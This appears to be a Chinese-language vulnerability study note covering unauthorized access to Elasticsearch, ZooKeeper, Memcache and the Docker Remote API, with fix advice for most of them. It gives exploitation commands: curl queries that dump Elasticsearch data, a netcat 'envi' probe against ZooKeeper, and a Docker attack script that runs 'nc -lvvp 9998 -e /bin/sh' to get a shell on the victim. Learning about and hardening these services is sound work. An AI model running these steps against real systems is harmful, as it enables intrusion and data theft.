漏洞学习记录
CATALOG1.Elasticsearch未授权漏洞2.ZooKeeper 未授权访问漏洞1.Elasticsearch未授权漏洞端口号9200/9300漏洞介绍Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。利用思路可用来读取对应index里面的信息,可将其理解成一个数据库每一个index就是一张表每一个type就是
1.Elasticsearch未授权漏洞
- 端口号
9200/9300 - 漏洞介绍
Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 - 利用思路
可用来读取对应index里面的信息,可将其理解成一个数据库每一个index就是一张表每一个type就是一个字段,一个index里面有很多字段。 - 操作相关
要利用这个漏洞,最重要的就是查看数据,下面是elasticsearch基本的查询方法
查询所有的 index, type:
curl localhost:9200/_search?pretty=true
查询某个index下所有的type:
curl localhost:9200/films/_search
查询某个index 下, 某个 type下所有的记录:
curl localhost:9200/films/md/_search?pretty=true
带有参数的查询:
curl localhost:9200/films/md/_search?q=tag:good
使用JSON参数的查询: (注意 query 和 term 关键字)
curl localhost:9200/film/_search -d ’
{“query” : { “term”: { “tag”:“bad”}}}’
http://192.168.80.126:9200/_plugin/head/ #web管理界面
http://192.168.80.126:9200/_cat/indices #查看集群当前状态
http://192.168.80.126:9200/_nodes #查看节点数据
http://192.168.80.126:9200/_river/_search #查看数据库敏感信息
- 实际操作
- 直接访问ip:9200
- ip:9200/_cat/indices/?v #查询所有的index
- ip:9200/_mapping?pretty=true #查询所有index与其对应的type
- ip:9200/index的名字/_search?pretty=ture #查询对应index的type的具体值
- 修复建议
1、为elasticsearch增加登录验证,可以使用官方推荐的shield插件,该插件为收费插件,可试用30天,免费的可以使用elasticsearch-http-basic,searchguard插件。插件可以通过运行Biplugin install [github-name]/repo-name。同时需要注意增加验证后,请勿使用弱口令。
2、架设nginx反向代理服务器,并设置http basic认证来实现elasticsearch的登录认证。
3、默认开启的9200端口和使用的端口不对外公布,或架设内网环境。
4、elasticsearch 早期版本在“CVE中文漏洞信息库”网站上已有部分漏洞被披露,建议使用1.7.1以上版本或使用最新版本程序。
5、限制IP访问,绑定固定IP - 参考
Elasticsearch未授权访问漏洞
2.ZooKeeper 未授权访问漏洞
-
端口号
2181 -
漏洞介绍
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。ZooKeeper的目标就是封装好复杂易出错的关键服务,将简单易用的接口和性能高效、功能稳定的系统提供给用户。 -
利用思路
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境 -
利用相关
zookeeper下载地址:http://archive.apache.org/dist/zookeeper/
zookeeper可视化管理工具下载连接:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip -
实际操作
echo envi|nc ip 2181
#返回大量敏感信息,host名等,下图为节选
- 也可以使用图形化界面查询Zookeeper中的内容
- 修复建议
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)
配置防火墙策略,只允许指定IP访问2181端口
配置服务ACL限制IP访问 - 参考
Zookeeper 未授权访问漏洞
3.Memcache未授权访问
memcache是一套分布式的高速缓存系统,它以Key-Value(键值对)形式将数据存储在内存中,默认开放11211端口,使用nmap的脚本进行扫描。
-
端口号
11211 -
漏洞介绍
memcache是一套分布式的高速缓存系统,它以Key-Value(键值对)形式将数据存储在内存中,默认开放11211端口,使用nmap的脚本进行扫描。 -
利用思路
直接使用nc进行连接获取敏感信息 -
利用相关
stats 查看memcache 服务状态
stats items 查看所有items -
实际操作
-
修复建议
一、 因memcache无权限控制功能,所以需要用户对访问来源进行限制。一般不需要外网访问的,可以直接绑定本地127.0.0.1 即可,实现方式如下:
[root@local ~]# vim /etc/sysconfig/memcached
OPTIONS="-l 127.0.0.1" #设置本地为监听
[root@local ~]# /etc/init.d/memcached restart #重启服务
二、 当memcached 配置为监听内网IP或公网IP时, 使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤。
4.docker未授权漏洞利用
扫描出docker未授权漏洞后使用脚本dockerRemoteApiGetRootShell.py进行攻击。攻击过程如下:
- 下载脚本:下载地址
- 安装依赖库(基于python2)
pip install -r requirements.txt - 获取受害主机shell
python dockerRemoteApiGetRootShell.py -h ip -p 2375 # 获取docker id
python dockerRemoteApiGetRootShell.py -h ip -p 2375 -e “nc -lvvp 9998 -e /bin/sh” -I c60d6d45e76c7d3f9d7abae075cb77b4924bd7133eebddc59679f2a60eb32bc2 #反弹shell
更多推荐
所有评论(0)